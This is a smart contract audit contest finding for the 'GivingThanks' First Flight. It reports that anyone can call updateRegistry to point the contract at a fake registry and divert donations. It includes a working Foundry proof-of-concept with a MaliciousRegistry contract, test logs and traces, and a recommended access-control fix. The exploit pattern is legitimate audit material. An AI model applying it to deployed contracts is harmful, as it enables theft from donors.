GivingThanks

First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can update registry contract address to an arbitrary contract and receive donations

Summary

GivingThanks::updateRegistryupdates the registry address, but lack of access control enables an attacker to pass their own fake registry contract and receive donations.

Vulnerability Details

Since GivingThanks::updateRegistry does not check if the caller is authorized, i.e. admin or not, a malicious actor can change the registry to their malicious contract.

Consider the following scenario, an attacker calls GivingThanks::updateRegistry and passes the address of their own malicious contract, which might look the same as CharityRegistry contract. Then, since now they are the admin of that registry contract, they register their own address as a charity and then verify it. Now, an unsuspecting donator could call the GivingThanks::isVerified function with attacker's address to check if they are donating to a real charity, and since they trust the admin of the contract and do not expect a malicious intent, after seeing that the address is indeed verified, they might send donations into it. The donations will be sent to the attacker's address.

Here's the POC:

Create a new test file and paste the following in it

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/GivingThanks.sol";
import "../src/CharityRegistry.sol";
// import "@openzeppelin/contracts/utils/Strings.sol";
// import "@openzeppelin/contracts/utils/Base64.sol";
contract MaliciousRegistry {
address public admin;
mapping(address => bool) public verifiedCharities;
mapping(address => bool) public registeredCharities;
constructor() {
admin = msg.sender;
}
function registerCharity(address charity) public {
registeredCharities[charity] = true;
}
function verifyCharity(address charity) public {
require(msg.sender == admin, "Only admin can verify");
require(registeredCharities[charity], "Charity not registered");
verifiedCharities[charity] = true;
}
function isVerified(address charity) public view returns (bool) {
return registeredCharities[charity];
}
function changeAdmin(address newAdmin) public {
require(msg.sender == admin, "Only admin can change admin");
admin = newAdmin;
}
}
contract MyTest is Test {
GivingThanks public givingThanksContract;
CharityRegistry public registryContract;
MaliciousRegistry public maliciousRegistryContract;
address owner = makeAddr("owner");
address donator = makeAddr("donator");
address attacker = makeAddr("attacker");
function setUp() public {
// vm.startPrank(owner);
//deploy contracts
registryContract = new CharityRegistry();
givingThanksContract = new GivingThanks(address(registryContract));
deal(donator, 10 ether);
}
function test_attacker_takes_control() public {
vm.startPrank(attacker);
maliciousRegistryContract = new MaliciousRegistry();
givingThanksContract.updateRegistry(address(maliciousRegistryContract));
//attacker is the admin now
//attacker registers themselves as a charity
maliciousRegistryContract.registerCharity(address(attacker));
//attacker verifies themselves
maliciousRegistryContract.verifyCharity(address(attacker));
assertEq(maliciousRegistryContract.isVerified(address(attacker)), true);
vm.stopPrank();
console.log("attacker balance,", attacker.balance);
console.log("donator balance before,", donator.balance);
//start acting as donator
vm.startPrank(donator);
givingThanksContract.donate{value: 1 ether}(address(attacker));
vm.stopPrank();
console.log("donator balance after,", donator.balance);
console.log("attacker balance after,", attacker.balance);
}
}
Ran 1 test for test/MyTest.t.sol:MyTest
[PASS] test_attacker_takes_control() (gas: 563919)
Logs:
attacker balance, 0
donator balance before, 10000000000000000000
donator balance after, 9000000000000000000
attacker balance after, 1000000000000000000
Traces:
[563919] MyTest::test_attacker_takes_control()
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Return]
├─ [191749] → new MaliciousRegistry@0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a
│ └─ ← [Return] 847 bytes of code
├─ [5404] GivingThanks::updateRegistry(MaliciousRegistry: [0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a])
│ └─ ← [Stop]
├─ [22464] MaliciousRegistry::registerCharity(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Stop]
├─ [22860] MaliciousRegistry::verifyCharity(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Stop]
├─ [547] MaliciousRegistry::isVerified(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← [Return] true
├─ [0] VM::assertEq(true, true) [staticcall]
│ └─ ← [Return]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] console::log("attacker balance,", 0) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("donator balance before,", 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::startPrank(donator: [0x1f115Bac26955ed0246Fc393f3507C52441da048])
│ └─ ← [Return]
├─ [235025] GivingThanks::donate{value: 1000000000000000000}(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ ├─ [547] MaliciousRegistry::isVerified(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ │ └─ ← [Return] true
│ ├─ [0] attacker::fallback{value: 1000000000000000000}()
│ │ └─ ← [Stop]
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: donator: [0x1f115Bac26955ed0246Fc393f3507C52441da048], tokenId: 0)
│ ├─ emit MetadataUpdate(_tokenId: 0)
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] console::log("donator balance after,", 9000000000000000000 [9e18]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("attacker balance after,", 1000000000000000000 [1e18]) [staticcall]
│ └─ ← [Stop]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.80ms (535.61µs CPU time)
Ran 1 test suite in 764.27ms (1.80ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

An attacker takes control of the CharityRegistry contract and receives donations from donators.

Tools Used

Manual review

Recommendations

Change the function as follows:

function updateRegistry(address _registry) public {
+ require(msg.sender == owner, "Only admin can update registry");
registry = CharityRegistry(_registry);
}
Updates

Lead Judging Commences

n0kto Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-change-registry

Likelyhood: High, anyone can change it at anytime Impact: High, can bypass the verification process

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.